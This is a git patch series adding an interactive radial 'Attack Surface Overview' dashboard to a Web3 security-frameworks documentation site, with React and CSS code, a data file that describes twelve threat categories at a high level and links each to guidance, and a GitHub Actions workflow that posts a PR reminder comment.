From 6e02acf47de02b5adb7e604376e21abac694ecdd Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 30 Mar 2026 17:16:12 +0200 Subject: [PATCH 01/20] Add Attack Surface Overview page with interactive radial threat map Visual security posture dashboard showing 12 attack vectors as a radial diagram. Nodes are color-coded (red/amber/green) by posture state with click-to-toggle and localStorage persistence. Clicking a node opens a detail card with description, attack tags, and framework guide links. Designed for CSOs to quickly assess and communicate security gaps. Co-Authored-By: Claude Opus 4.6 (1M context) --- components/attack-surface/AttackSurface.css | 397 ++++++++++++++++++ .../attack-surface/AttackSurfaceDashboard.tsx | 339 +++++++++++++++ components/attack-surface/threatData.ts | 259 ++++++++++++ components/index.ts | 1 + docs/pages/attack-surface.mdx | 15 + vocs.config.tsx | 1 + 6 files changed, 1012 insertions(+) create mode 100644 components/attack-surface/AttackSurface.css create mode 100644 components/attack-surface/AttackSurfaceDashboard.tsx create mode 100644 components/attack-surface/threatData.ts create mode 100644 docs/pages/attack-surface.mdx diff --git a/components/attack-surface/AttackSurface.css b/components/attack-surface/AttackSurface.css new file mode 100644 index 00000000..7abbe560 --- /dev/null +++ b/components/attack-surface/AttackSurface.css @@ -0,0 +1,397 @@ +/* Attack Surface — Radial Threat Map */ + +.as-wrap { + max-width: 860px; + margin: 0 auto; +} + +/* Summary Bar */ +.as-summary-bar { + display: flex; + align-items: center; + gap: 20px; + flex-wrap: wrap; + margin-bottom: 12px; + font-size: 14px; + color: var(--color-text-muted); +} + +.as-summary-count { + font-weight: 600; + color: var(--color-text-strong); + font-size: 15px; +} + +.as-summary-legend { + display: flex; + gap: 14px; + align-items: center; +} + +.as-legend-item { + display: flex; + align-items: center; + gap: 5px; + font-size: 13px; +} + +.as-legend-dot { + width: 10px; + height: 10px; + border-radius: 50%; + flex-shrink: 0; +} + +/* SVG Map Container — 10% bigger */ +.as-map { + width: 100%; + max-width: 770px; + margin: 0 auto; + display: block; +} + +.as-map svg { + width: 100%; + height: auto; +} + +/* Spokes */ +.as-spoke { + stroke-width: 2; + transition: stroke 0.3s ease; +} + +/* Hub */ +.as-hub { + fill: var(--color-primary); + transition: fill 0.3s ease; +} + +.as-hub-label { + fill: #ffffff; + font-size: 13px; + font-weight: 600; + pointer-events: none; + user-select: none; +} + +/* Nodes */ +.as-node-group { + cursor: pointer; +} + +.as-node { + cursor: pointer; + transition: fill 0.3s ease, stroke 0.3s ease, filter 0.3s ease; +} + +.as-node-group:hover .as-node { + filter: brightness(1.15); +} + +.as-node-ring { + fill: none; + stroke: transparent; + stroke-width: 3; + transition: stroke 0.2s ease; +} + +.as-node-group.selected .as-node-ring { + stroke: var(--color-text-strong); +} + +.as-node-check { + fill: #ffffff; + font-size: 18px; + font-weight: 700; + pointer-events: none; + user-select: none; +} + +.as-node-label { + fill: var(--color-text-primary); + font-size: 11px; + font-weight: 500; + user-select: none; + text-anchor: middle; + cursor: pointer; + transition: fill 0.15s ease; +} + +.as-node-group:hover .as-node-label { + fill: var(--color-primary); +} + +/* State colors */ +.as-node.state-no { fill: #ef4444; } +.as-node.state-yes { fill: #10b981; } +.as-node.state-partial { fill: #f59e0b; } + +.as-spoke.state-no { stroke: rgba(239, 68, 68, 0.3); } +.as-spoke.state-yes { stroke: rgba(16, 185, 129, 0.3); } +.as-spoke.state-partial { stroke: rgba(245, 158, 11, 0.3); } + +/* Critical pulse for unaddressed critical nodes */ +@keyframes as-pulse { + 0%, 100% { filter: drop-shadow(0 0 4px rgba(239, 68, 68, 0.4)); } + 50% { filter: drop-shadow(0 0 12px rgba(239, 68, 68, 0.7)); } +} + +.as-node-group.critical.state-no .as-node { + animation: as-pulse 2.5s ease-in-out infinite; +} + +/* ===== Detail Card ===== */ +.as-detail { + margin-top: 24px; + padding: 24px 28px; + background: var(--bg-card); + border: 1px solid var(--border-card); + border-radius: 8px; + animation: as-slide-in 0.2s ease-out; +} + +@keyframes as-slide-in { + from { opacity: 0; transform: translateY(8px); } + to { opacity: 1; transform: translateY(0); } +} + +.as-detail-top { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 16px; + margin-bottom: 14px; +} + +.as-detail-left { + flex: 1; + min-width: 0; +} + +.as-detail-title { + font-size: 22px; + font-weight: 700; + color: var(--color-text-strong); + margin: 0 0 4px; +} + +.as-detail-sev { + display: flex; + align-items: center; + gap: 6px; + font-size: 12px; + font-weight: 700; + letter-spacing: 0.06em; +} + +.as-detail-sev-dot { + width: 8px; + height: 8px; + border-radius: 50%; +} + +.as-detail-right { + display: flex; + align-items: center; + gap: 12px; + flex-shrink: 0; +} + +/* GAP / IN PROGRESS / SECURED toggle */ +.as-detail-toggle { + display: flex; + border: 1px solid var(--border-card); + border-radius: 4px; + overflow: hidden; +} + +.as-toggle-btn { + padding: 7px 16px; + font-size: 12px; + font-weight: 600; + letter-spacing: 0.04em; + text-transform: uppercase; + cursor: pointer; + border: none; + background: transparent; + color: var(--color-text-muted); + transition: all 0.15s ease; +} + +.as-toggle-btn:not(:last-child) { + border-right: 1px solid var(--border-card); +} + +.as-toggle-btn:hover { + background: rgba(255, 255, 255, 0.05); +} + +:root:not(.dark) .as-toggle-btn:hover { + background: rgba(0, 0, 0, 0.03); +} + +.as-toggle-btn.active.state-no { + background: #ef4444; + color: #ffffff; +} + +.as-toggle-btn.active.state-partial { + background: #f59e0b; + color: #ffffff; +} + +.as-toggle-btn.active.state-yes { + background: #10b981; + color: #ffffff; +} + +.as-detail-close { + background: none; + border: none; + color: var(--color-text-muted); + cursor: pointer; + font-size: 22px; + padding: 0 4px; + line-height: 1; + transition: color 0.15s ease; +} + +.as-detail-close:hover { + color: var(--color-text-strong); +} + +/* Description */ +.as-detail-desc { + font-size: 15px; + line-height: 1.6; + color: var(--color-text-muted); + margin: 0 0 16px; +} + +/* Bottom row: tags + CTA link */ +.as-detail-bottom { + display: flex; + align-items: flex-end; + justify-content: space-between; + gap: 16px; + flex-wrap: wrap; +} + +.as-detail-tags { + display: flex; + flex-wrap: wrap; + gap: 8px; +} + +.as-attack-tag { + font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, monospace; + font-size: 12px; + padding: 4px 12px; + border: 1px solid var(--border-card); + border-radius: 4px; + color: var(--color-text-muted); + white-space: nowrap; +} + +.as-detail-cta { + font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, monospace; + font-size: 13px; + padding: 8px 20px; + border: 1px solid var(--color-primary); + border-radius: 4px; + color: var(--color-primary); + text-decoration: none; + white-space: nowrap; + transition: all 0.15s ease; + flex-shrink: 0; +} + +.as-detail-cta:hover { + background: rgba(67, 57, 219, 0.08); +} + +/* ===== Mobile list ===== */ +.as-mobile-list { + display: none; + flex-direction: column; + gap: 8px; +} + +.as-mobile-row { + display: flex; + align-items: center; + gap: 12px; + padding: 10px 14px; + background: var(--bg-card); + border: 1px solid var(--border-card); + border-radius: 8px; + cursor: pointer; + transition: background 0.15s ease; +} + +.as-mobile-row:hover { + background: rgba(67, 57, 219, 0.04); +} + +.as-mobile-row.selected { + border-color: var(--color-text-strong); +} + +.as-mobile-dot { + width: 20px; + height: 20px; + border-radius: 50%; + flex-shrink: 0; + display: flex; + align-items: center; + justify-content: center; + font-size: 12px; + font-weight: 700; + color: #ffffff; + cursor: pointer; + transition: background 0.2s ease; +} + +.as-mobile-dot.state-no { background: #ef4444; } +.as-mobile-dot.state-yes { background: #10b981; } +.as-mobile-dot.state-partial { background: #f59e0b; } + +.as-mobile-name { + font-size: 14px; + font-weight: 500; + color: var(--color-text-strong); + flex: 1; +} + +.as-mobile-sev { + font-size: 11px; + font-weight: 600; + text-transform: uppercase; + letter-spacing: 0.04em; + padding: 2px 8px; + border-radius: 4px; + flex-shrink: 0; +} + +@media (max-width: 600px) { + .as-map { display: none; } + .as-mobile-list { display: flex; } + + .as-detail-top { + flex-direction: column; + } + + .as-detail-bottom { + flex-direction: column; + align-items: flex-start; + } +} + +/* Print */ +@media print { + .as-detail-close, + .as-detail-toggle { display: none; } + .as-mobile-dot { print-color-adjust: exact; -webkit-print-color-adjust: exact; } + .as-node { print-color-adjust: exact; -webkit-print-color-adjust: exact; } +} diff --git a/components/attack-surface/AttackSurfaceDashboard.tsx b/components/attack-surface/AttackSurfaceDashboard.tsx new file mode 100644 index 00000000..5c9a48c2 --- /dev/null +++ b/components/attack-surface/AttackSurfaceDashboard.tsx @@ -0,0 +1,339 @@ +import { useState, useCallback, useEffect, useMemo } from "react"; +import { threatVectors, severityMeta, type PostureState, type ThreatVector } from "./threatData"; +import "./AttackSurface.css"; + +const STORAGE_KEY = "attackSurface-posture"; +const CX = 420; +const CY = 420; +const RADIUS = 286; +const NODE_R = 39; +const HUB_R = 39; + +type PostureMap = Record; + +const nextState: Record = { + no: "yes", + yes: "partial", + partial: "no", +}; + +const stateColors: Record = { + no: "#ef4444", + yes: "#10b981", + partial: "#f59e0b", +}; + +const spokeColors: Record = { + no: "rgba(239, 68, 68, 0.25)", + yes: "rgba(16, 185, 129, 0.25)", + partial: "rgba(245, 158, 11, 0.25)", +}; + +const checkMarks: Record = { + no: "", + yes: "\u2713", + partial: "", +}; + +const postureLabels: Record = { + no: "Gap", + yes: "Secured", + partial: "In Progress", +}; + +function loadPosture(): PostureMap { + try { + const raw = localStorage.getItem(STORAGE_KEY); + return raw ? JSON.parse(raw) : {}; + } catch { + return {}; + } +} + +function savePosture(posture: PostureMap) { + try { + localStorage.setItem(STORAGE_KEY, JSON.stringify(posture)); + } catch {} +} + +function wrapLabel(title: string): string[] { + const words = title.split(" "); + const lines: string[] = []; + let current = ""; + for (const word of words) { + if (current && (current + " " + word).length > 16) { + lines.push(current); + current = word; + } else { + current = current ? current + " " + word : word; + } + } + if (current) lines.push(current); + return lines; +} + +function nodePosition(index: number, total: number) { + const angle = ((2 * Math.PI) / total) * index - Math.PI / 2; + return { + x: CX + RADIUS * Math.cos(angle), + y: CY + RADIUS * Math.sin(angle), + }; +} + +export function AttackSurfaceDashboard() { + const [posture, setPosture] = useState({}); + const [selected, setSelected] = useState(null); + + useEffect(() => { + setPosture(loadPosture()); + }, []); + + const handleToggle = useCallback((id: string) => { + setPosture((prev) => { + const current = prev[id] || "no"; + const next = { ...prev, [id]: nextState[current] }; + if (nextState[current] === "no") delete next[id]; + savePosture(next); + return next; + }); + }, []); + + const handleSetPosture = useCallback((id: string, state: PostureState) => { + setPosture((prev) => { + const next = { ...prev, [id]: state }; + if (state === "no") delete next[id]; + savePosture(next); + return next; + }); + }, []); + + const handleSelect = useCallback((id: string) => { + setSelected((prev) => (prev === id ? null : id)); + }, []); + + const counts = useMemo(() => { + const values = threatVectors.map((v) => posture[v.id] || "no"); + return { + yes: values.filter((s) => s === "yes").length, + partial: values.filter((s) => s === "partial").length, + no: values.filter((s) => s === "no").length, + }; + }, [posture]); + + const selectedVector = selected + ? threatVectors.find((v) => v.id === selected) || null + : null; + + return ( +
+ {/* Summary */} +
+ + {counts.yes + counts.partial} of {threatVectors.length} vectors covered + +
+ + + {counts.yes} secured + + + + {counts.partial} in progress + + + + {counts.no} gaps + +
+
+ + {/* SVG Radial Map */} +
+ + {/* Spokes */} + {threatVectors.map((v, i) => { + const pos = nodePosition(i, threatVectors.length); + const state = posture[v.id] || "no"; + return ( + + ); + })} + + {/* Hub */} + + + Your + + + Protocol + + + {/* Nodes */} + {threatVectors.map((v, i) => { + const pos = nodePosition(i, threatVectors.length); + const state = posture[v.id] || "no"; + const isCritical = v.severity === "critical"; + const isSelected = selected === v.id; + const lines = wrapLabel(v.title); + + return ( + handleSelect(v.id)} + style={{ cursor: "pointer" }} + > + {/* Selection ring */} + + {/* Main node */} + + {/* Check mark */} + + {checkMarks[state]} + + {/* Label */} + {lines.map((line, li) => ( + + {line} + + ))} + + ); + })} + +
+ + {/* Mobile list fallback */} +
+ {threatVectors.map((v) => { + const state = posture[v.id] || "no"; + const sev = severityMeta[v.severity]; + return ( +
handleSelect(v.id)} + > +
{ + e.stopPropagation(); + handleToggle(v.id); + }} + > + {checkMarks[state]} +
+ {v.title} + + {sev.label} + +
+ ); + })} +
+ + {/* Detail Card */} + {selectedVector && ( + handleSetPosture(selectedVector.id, state)} + onClose={() => setSelected(null)} + /> + )} +
+ ); +} + +function DetailCard({ + vector, + state, + onSetState, + onClose, +}: { + vector: ThreatVector; + state: PostureState; + onSetState: (state: PostureState) => void; + onClose: () => void; +}) { + const sev = severityMeta[vector.severity]; + + return ( +
+
+
+

{vector.title}

+
+ + {sev.label.toUpperCase()} SEVERITY +
+
+
+
+ {(["no", "partial", "yes"] as PostureState[]).map((s) => ( + + ))} +
+ +
+
+ +

{vector.description}

+ +
+
+ {vector.attackTags.map((tag) => ( + {tag} + ))} +
+ + {vector.primaryLinkLabel} → + +
+
+ ); +} diff --git a/components/attack-surface/threatData.ts b/components/attack-surface/threatData.ts new file mode 100644 index 00000000..16af821a --- /dev/null +++ b/components/attack-surface/threatData.ts @@ -0,0 +1,259 @@ +export type Severity = "critical" | "high" | "medium"; +export type PostureState = "no" | "yes" | "partial"; +export type Category = "smart-contract" | "operational" | "human" | "infrastructure" | "supply-chain" | "governance"; + +export interface FrameworkLink { + label: string; + href: string; +} + +export interface ThreatVector { + id: string; + title: string; + subtitle: string; + category: Category; + severity: Severity; + description: string; + example?: string; + /** Short attack-type tags shown in the detail card */ + attackTags: string[]; + /** The primary framework page for this vector — label text links here */ + primaryLink: string; + /** Label for the primary link button in the detail card */ + primaryLinkLabel: string; + frameworkLinks: FrameworkLink[]; +} + +export const categoryMeta: Record = { + "smart-contract": { label: "Smart Contract", color: "#ef4444" }, + operational: { label: "Operational", color: "#f97316" }, + human: { label: "Human", color: "#eab308" }, + infrastructure: { label: "Infrastructure", color: "#8b5cf6" }, + "supply-chain": { label: "Supply Chain", color: "#3b82f6" }, + governance: { label: "Governance", color: "#10b981" }, +}; + +export const severityMeta: Record = { + critical: { label: "Critical", color: "#ef4444", bg: "rgba(239, 68, 68, 0.12)" }, + high: { label: "High", color: "#f97316", bg: "rgba(249, 115, 22, 0.12)" }, + medium: { label: "Medium", color: "#eab308", bg: "rgba(234, 179, 8, 0.12)" }, +}; + +export const threatVectors: ThreatVector[] = [ + { + id: "smart-contract-exploits", + title: "Smart Contract Exploits", + subtitle: "Code vulnerabilities in on-chain logic", + category: "smart-contract", + severity: "critical", + description: + "Reentrancy attacks, logic bugs, oracle manipulation, flash loan exploits, and unaudited upgrade paths that drain protocol funds.", + example: "Euler Finance: $197M flash loan exploit", + attackTags: ["Reentrancy", "Flash loan exploit", "Oracle manipulation", "Logic bug"], + primaryLink: "/external-security-reviews/overview", + primaryLinkLabel: "Security Reviews Framework", + frameworkLinks: [ + { label: "Incident Playbooks", href: "/incident-management/playbooks" }, + { label: "DevSecOps", href: "/devsecops/overview" }, + { label: "External Security Reviews", href: "/external-security-reviews/overview" }, + { label: "Security Testing", href: "/security-testing/overview" }, + ], + }, + { + id: "multisig-failures", + title: "Multisig Operational Failures", + subtitle: "Signer and threshold mismanagement", + category: "operational", + severity: "critical", + description: + "Signer unavailability, lost keys, weak thresholds, no rotation policy, and lack of emergency procedures leave protocol treasuries exposed.", + example: "Ronin Bridge: $625M via compromised validator keys", + attackTags: ["Signer unavailability", "Weak threshold", "Key loss", "No rotation policy"], + primaryLink: "/multisig-for-protocols/overview", + primaryLinkLabel: "Multisig Framework", + frameworkLinks: [ + { label: "Multisig Overview", href: "/multisig-for-protocols/overview" }, + { label: "Emergency Procedures", href: "/multisig-for-protocols/emergency-procedures" }, + { label: "Signer Onboarding", href: "/multisig-for-protocols/signer-onboarding" }, + { label: "Multisig Runbooks", href: "/multisig-for-protocols/runbooks/overview" }, + ], + }, + { + id: "dprk-threat-actors", + title: "DPRK / Threat Actor Hiring", + subtitle: "Nation-state infiltration via hiring", + category: "human", + severity: "critical", + description: + "Unknowingly hiring North Korean IT workers or other threat actors as contractors who gain access to codebases, infrastructure, and signing keys.", + example: "Multiple protocols compromised via DPRK contractors", + attackTags: ["Fake identity", "Contractor infiltration", "Code backdoor", "Key theft"], + primaryLink: "/incident-management/playbooks/dprk-it-worker", + primaryLinkLabel: "DPRK Playbook", + frameworkLinks: [ + { label: "DPRK IT Worker Playbook", href: "/incident-management/playbooks/dprk-it-worker" }, + { label: "Insider Threat Mitigation", href: "/opsec/control-domains/people/insider-threat-mitigation" }, + { label: "Personnel Controls", href: "/opsec/control-domains/people/overview" }, + ], + }, + { + id: "leadership-phishing", + title: "Leadership Phishing", + subtitle: "Targeted spearphishing of key personnel", + category: "human", + severity: "critical", + description: + "Spearphishing campaigns targeting founders, executives, and multisig signers to steal credentials, signing keys, or trick them or employees into approving malicious transactions.", + attackTags: ["Spearphishing", "Credential theft", "Malicious signing", "Impersonation"], + primaryLink: "/awareness/understanding-threat-vectors", + primaryLinkLabel: "Threat Vectors Guide", + frameworkLinks: [ + { label: "Understanding Threat Vectors", href: "/awareness/understanding-threat-vectors" }, + { label: "Phishing & Social Engineering", href: "/user-team-security/phishing-social-engineering" }, + { label: "Security Training", href: "/user-team-security/security-training" }, + ], + }, + { + id: "infrastructure-compromise", + title: "Infrastructure Compromise", + subtitle: "Cloud, server, and network breaches", + category: "infrastructure", + severity: "critical", + description: + "Cloud misconfigurations, exposed APIs, server compromise, weak network segmentation, and missing zero-trust architecture leading to full infrastructure takeover.", + attackTags: ["AWS key leak", "RPC manipulation", "Server compromise", "API exfiltration"], + primaryLink: "/infrastructure/overview", + primaryLinkLabel: "Infrastructure Framework", + frameworkLinks: [ + { label: "Infrastructure Overview", href: "/infrastructure/overview" }, + { label: "Cloud Security", href: "/infrastructure/cloud-security" }, + { label: "Network Security", href: "/infrastructure/network-security" }, + { label: "Zero Trust Architecture", href: "/infrastructure/zero-trust-architecture" }, + ], + }, + { + id: "frontend-dns-hijacking", + title: "Frontend / DNS Hijacking", + subtitle: "Website and domain takeover attacks", + category: "infrastructure", + severity: "critical", + description: + "DNS hijacking, compromised frontend deployments, UI spoofing, and registrar account takeovers that redirect users to malicious interfaces draining wallets.", + example: "Curve Finance: DNS hijack redirected users to drainer", + attackTags: ["DNS hijack", "UI spoofing", "Registrar takeover", "Frontend injection"], + primaryLink: "/infrastructure/domain-and-dns-security/overview", + primaryLinkLabel: "DNS Security Framework", + frameworkLinks: [ + { label: "DNS Security", href: "/infrastructure/domain-and-dns-security/overview" }, + { label: "Monitoring & Alerting", href: "/infrastructure/domain-and-dns-security/monitoring-and-alerting" }, + { label: "Front-End Security", href: "/front-end-web-application/overview" }, + { label: "DNS Registrar Cert", href: "/certs/sfc-dns-registrar" }, + ], + }, + { + id: "opsec-failures", + title: "Operational Security Failures", + subtitle: "Day-to-day security hygiene gaps", + category: "operational", + severity: "high", + description: + "Poor device hygiene, leaked credentials, weak access controls, unencrypted communications, and lack of security policies across the team.", + attackTags: ["Leaked credentials", "Weak access controls", "Unencrypted comms", "No MFA"], + primaryLink: "/opsec/overview", + primaryLinkLabel: "OpSec Framework", + frameworkLinks: [ + { label: "OpSec Overview", href: "/opsec/overview" }, + { label: "Technical Controls", href: "/opsec/control-domains/technical/overview" }, + { label: "Device Hardening", href: "/opsec/control-domains/technical/device-hardening" }, + { label: "IAM", href: "/iam/overview" }, + ], + }, + { + id: "supply-chain-attacks", + title: "Supply Chain Attacks", + subtitle: "Compromised dependencies and CI/CD", + category: "supply-chain", + severity: "high", + description: + "Dependency poisoning, typosquatting, compromised CI/CD pipelines, malicious npm/crate packages, and build system backdoors that inject malicious code.", + example: "Ledger Connect Kit: compromised npm package", + attackTags: ["Dependency poisoning", "Typosquatting", "CI/CD backdoors", "Malicious package"], + primaryLink: "/supply-chain/overview", + primaryLinkLabel: "Supply Chain Framework", + frameworkLinks: [ + { label: "Supply Chain Overview", href: "/supply-chain/overview" }, + { label: "DevSecOps", href: "/devsecops/overview" }, + { label: "CI/CD Security", href: "/devsecops/ci-cd-security" }, + { label: "Code Signing", href: "/devsecops/code-signing" }, + ], + }, + { + id: "monitoring-gaps", + title: "Monitoring & Alerting Gaps", + subtitle: "Blind spots in threat detection", + category: "operational", + severity: "high", + description: + "No on-chain monitoring, slow anomaly detection, missing alerts for critical operations, and no automated response — letting attackers operate undetected.", + attackTags: ["No on-chain monitoring", "Slow detection", "Missing alerts", "No auto-response"], + primaryLink: "/monitoring/overview", + primaryLinkLabel: "Monitoring Framework", + frameworkLinks: [ + { label: "Monitoring Overview", href: "/monitoring/overview" }, + { label: "Threat Detection", href: "/security-automation/threat-detection-response" }, + { label: "DNS Monitoring", href: "/infrastructure/domain-and-dns-security/monitoring-and-alerting" }, + ], + }, + { + id: "social-engineering", + title: "Social Engineering", + subtitle: "Manipulation beyond phishing", + category: "human", + severity: "high", + description: + "Impersonation of partners or investors, fake collaboration requests, community manipulation, and trust exploitation to gain access or influence decisions.", + attackTags: ["Impersonation", "Fake partnership", "Community manipulation", "Trust exploit"], + primaryLink: "/awareness/overview", + primaryLinkLabel: "Awareness Framework", + frameworkLinks: [ + { label: "Awareness Overview", href: "/awareness/overview" }, + { label: "Threat Vectors", href: "/awareness/understanding-threat-vectors" }, + { label: "Security Culture", href: "/user-team-security/security-aware-culture" }, + { label: "Community Management", href: "/community-management/overview" }, + ], + }, + { + id: "duress-situations", + title: "Duress Situations", + subtitle: "Physical threats and coercion", + category: "human", + severity: "high", + description: + "Physical threats, kidnapping, extortion, and coercion targeting key personnel to force transaction signing or credential disclosure.", + attackTags: ["Physical threat", "Kidnapping", "Extortion", "Forced signing"], + primaryLink: "/opsec/travel/guide", + primaryLinkLabel: "Travel Security Guide", + frameworkLinks: [ + { label: "Travel Security", href: "/opsec/travel/guide" }, + { label: "Emergency Procedures", href: "/multisig-for-protocols/emergency-procedures" }, + { label: "Physical Controls", href: "/opsec/control-domains/physical-environmental/overview" }, + ], + }, + { + id: "governance-attacks", + title: "Governance Attacks", + subtitle: "Malicious proposals and vote manipulation", + category: "governance", + severity: "medium", + description: + "Proposal manipulation, vote buying, flash loan governance attacks, and unauthorized upgrades that alter protocol behavior or drain treasuries.", + attackTags: ["Proposal manipulation", "Vote buying", "Rogue upgrades"], + primaryLink: "/governance/overview", + primaryLinkLabel: "Governance Framework", + frameworkLinks: [ + { label: "Governance Overview", href: "/governance/overview" }, + { label: "Security Council Best Practices", href: "/governance/security-council-best-practices" }, + { label: "Multisig for Protocols", href: "/multisig-for-protocols/overview" }, + ], + }, +]; diff --git a/components/index.ts b/components/index.ts index 8ee66ac6..c5a48ed3 100644 --- a/components/index.ts +++ b/components/index.ts @@ -24,3 +24,4 @@ export { CertifiedProtocols } from './certified-protocols/CertifiedProtocols' export { CertifiedProtocolsWrapper } from './certified-protocols/CertifiedProtocolsWrapper' export { BadgeLegend } from './contributors/BadgeLegend' export { DevOnly } from './dev-only/DevOnly' +export { AttackSurfaceDashboard } from './attack-surface/AttackSurfaceDashboard' diff --git a/docs/pages/attack-surface.mdx b/docs/pages/attack-surface.mdx new file mode 100644 index 00000000..04de333b --- /dev/null +++ b/docs/pages/attack-surface.mdx @@ -0,0 +1,15 @@ +--- +title: "Attack Surface Overview | SEAL Security Frameworks" +description: "Visual overview of the Web3 threat landscape. See how protocols get compromised, assess your security posture, and find remediation guides." +tags: + - Security Specialist + - Operations & Strategy +--- + +import { AttackSurfaceDashboard } from '../../components' + +# Attack Surface Overview + +See where your protocol is most exposed. Click the checkbox on each vector to track your security posture. Your progress is saved locally in your browser. + + diff --git a/vocs.config.tsx b/vocs.config.tsx index 8f50b117..f6b4a885 100644 --- a/vocs.config.tsx +++ b/vocs.config.tsx @@ -37,6 +37,7 @@ const config = { text: 'Introduction', collapsed: false, items: [ + { text: 'Attack Surface Overview', link: '/attack-surface' }, { text: 'Introduction to Frameworks', link: '/intro/introduction' }, { text: 'How to Navigate the Website', link: '/intro/how-to-navigate-the-website' }, { text: 'Overview of each Framework', link: '/intro/overview-of-each-framework' }, From 28568823969d2f1f06c9ee18d916df3d82019bed Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 30 Mar 2026 17:17:44 +0200 Subject: [PATCH 02/20] Mark Attack Surface Overview as dev content Adds dev: true flag to sidebar entry per contributing guidelines. Co-Authored-By: Claude Opus 4.6 (1M context) --- vocs.config.tsx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/vocs.config.tsx b/vocs.config.tsx index f6b4a885..7159eb20 100644 --- a/vocs.config.tsx +++ b/vocs.config.tsx @@ -37,7 +37,7 @@ const config = { text: 'Introduction', collapsed: false, items: [ - { text: 'Attack Surface Overview', link: '/attack-surface' }, + { text: 'Attack Surface Overview', link: '/attack-surface', dev: true }, { text: 'Introduction to Frameworks', link: '/intro/introduction' }, { text: 'How to Navigate the Website', link: '/intro/how-to-navigate-the-website' }, { text: 'Overview of each Framework', link: '/intro/overview-of-each-framework' }, From 6a4af7c2234ae5ede950609b80c2a04ef80a4a1f Mon Sep 17 00:00:00 2001 From: solsr Date: Mon, 30 Mar 2026 17:30:53 +0200 Subject: [PATCH 03/20] Replace selection ring with scale + glow effect on selected nodes Selected nodes now scale up 10% and show a soft color-matched glow instead of a detached ring outline. Co-Authored-By: Claude Opus 4.6 (1M context) --- components/attack-surface/AttackSurface.css | 24 ++++++++++++------- .../attack-surface/AttackSurfaceDashboard.tsx | 7 ------ 2 files changed, 16 insertions(+), 15 deletions(-) diff --git a/components/attack-surface/AttackSurface.css b/components/attack-surface/AttackSurface.css index 7abbe560..32637cf7 100644 --- a/components/attack-surface/AttackSurface.css +++ b/components/attack-surface/AttackSurface.css @@ -78,26 +78,34 @@ /* Nodes */ .as-node-group { cursor: pointer; + transition: transform 0.2s ease, filter 0.2s ease; + transform-box: fill-box; + transform-origin: center; } .as-node { cursor: pointer; - transition: fill 0.3s ease, stroke 0.3s ease, filter 0.3s ease; + transition: fill 0.3s ease, stroke 0.3s ease; } .as-node-group:hover .as-node { filter: brightness(1.15); } -.as-node-ring { - fill: none; - stroke: transparent; - stroke-width: 3; - transition: stroke 0.2s ease; +.as-node-group.selected { + transform: scale(1.1); } -.as-node-group.selected .as-node-ring { - stroke: var(--color-text-strong); +.as-node-group.selected.state-no { + filter: drop-shadow(0 0 12px rgba(239, 68, 68, 0.6)); +} + +.as-node-group.selected.state-yes { + filter: drop-shadow(0 0 12px rgba(16, 185, 129, 0.6)); +} + +.as-node-group.selected.state-partial { + filter: drop-shadow(0 0 12px rgba(245, 158, 11, 0.6)); } .as-node-check { diff --git a/components/attack-surface/AttackSurfaceDashboard.tsx b/components/attack-surface/AttackSurfaceDashboard.tsx index 5c9a48c2..bc62050d 100644 --- a/components/attack-surface/AttackSurfaceDashboard.tsx +++ b/components/attack-surface/AttackSurfaceDashboard.tsx @@ -191,13 +191,6 @@ export function AttackSurfaceDashboard() { onClick={() => handleSelect(v.id)} style={{ cursor: "pointer" }} > - {/* Selection ring */} - {/* Main node */} Date: Mon, 30 Mar 2026 17:32:34 +0200 Subject: [PATCH 04/20] Add GitHub Actions reminder for attack surface threat data changes Posts an automated PR comment when threatData.ts is modified, reminding contributors to include all required fields and verify framework links. Follows the same pattern as the existing vocs-config-reminder workflow. Co-Authored-By: Claude Opus 4.6 (1M context) --- .github/workflows/attack-surface-reminder.yml | 85 +++++++++++++++++++ 1 file changed, 85 insertions(+) create mode 100644 .github/workflows/attack-surface-reminder.yml diff --git a/.github/workflows/attack-surface-reminder.yml b/.github/workflows/attack-surface-reminder.yml new file mode 100644 index 00000000..3882524d --- /dev/null +++ b/.github/workflows/attack-surface-reminder.yml @@ -0,0 +1,85 @@ +name: Attack Surface Data Reminder + +on: + pull_request_target: + types: [opened, synchronize] + branches: + - develop + +permissions: + contents: read + pull-requests: write + +jobs: + threat-vector-reminder: + runs-on: ubuntu-latest + steps: + - name: Check for threat vector changes + uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.1.0 + with: + script: | + const { owner, repo } = context.repo; + const pull_number = context.payload.pull_request.number; + const MARKER = ''; + const THREAT_DATA_FILE = 'components/attack-surface/threatData.ts'; + + // Get files changed in this PR + const { data: prFiles } = await github.rest.pulls.listFiles({ + owner, + repo, + pull_number, + per_page: 100 + }); + + const threatDataChanged = prFiles.find(f => f.filename === THREAT_DATA_FILE); + + if (!threatDataChanged) { + console.log('threatData.ts not modified. Skipping.'); + return; + } + + // Check if we already posted a reminder for this PR + const { data: comments } = await github.rest.issues.listComments({ + owner, + repo, + issue_number: pull_number, + per_page: 100 + }); + + const existingReminder = comments.find(c => + c.body.includes(MARKER) && + c.user.login === 'github-actions[bot]' + ); + + if (existingReminder) { + console.log('Reminder already posted. Skipping.'); + return; + } + + const body = `### Attack Surface Configuration Reminder + ${MARKER} + + This PR modifies the attack surface threat data (\`${THREAT_DATA_FILE}\`). + + If you are adding a new threat vector, please ensure: + - [ ] The vector has all required fields: \`id\`, \`title\`, \`subtitle\`, \`category\`, \`severity\`, \`description\`, \`attackTags\`, \`primaryLink\`, \`primaryLinkLabel\`, and \`frameworkLinks\` + - [ ] The \`primaryLink\` points to a valid, existing framework page + - [ ] The \`attackTags\` array contains 3-4 short example attack types + - [ ] The \`category\` is one of: \`smart-contract\`, \`operational\`, \`human\`, \`infrastructure\`, \`supply-chain\`, \`governance\` + - [ ] The \`severity\` is one of: \`critical\`, \`high\`, \`medium\` + + If you are modifying an existing vector, verify that all links still resolve correctly. + + See the [Attack Surface Overview page](/attack-surface) on the preview deployment to verify the radial map renders correctly. + + --- + This is an automated reminder. If this PR doesn't affect threat vectors, you can ignore this message.`; + + await github.rest.issues.createComment({ + owner, + repo, + issue_number: pull_number, + body + }); + + console.log('Posted attack surface reminder comment.'); From ce0b2a5d3d53540ee3fdfdc2d430583f4abd7a4e Mon Sep 17 00:00:00 2001 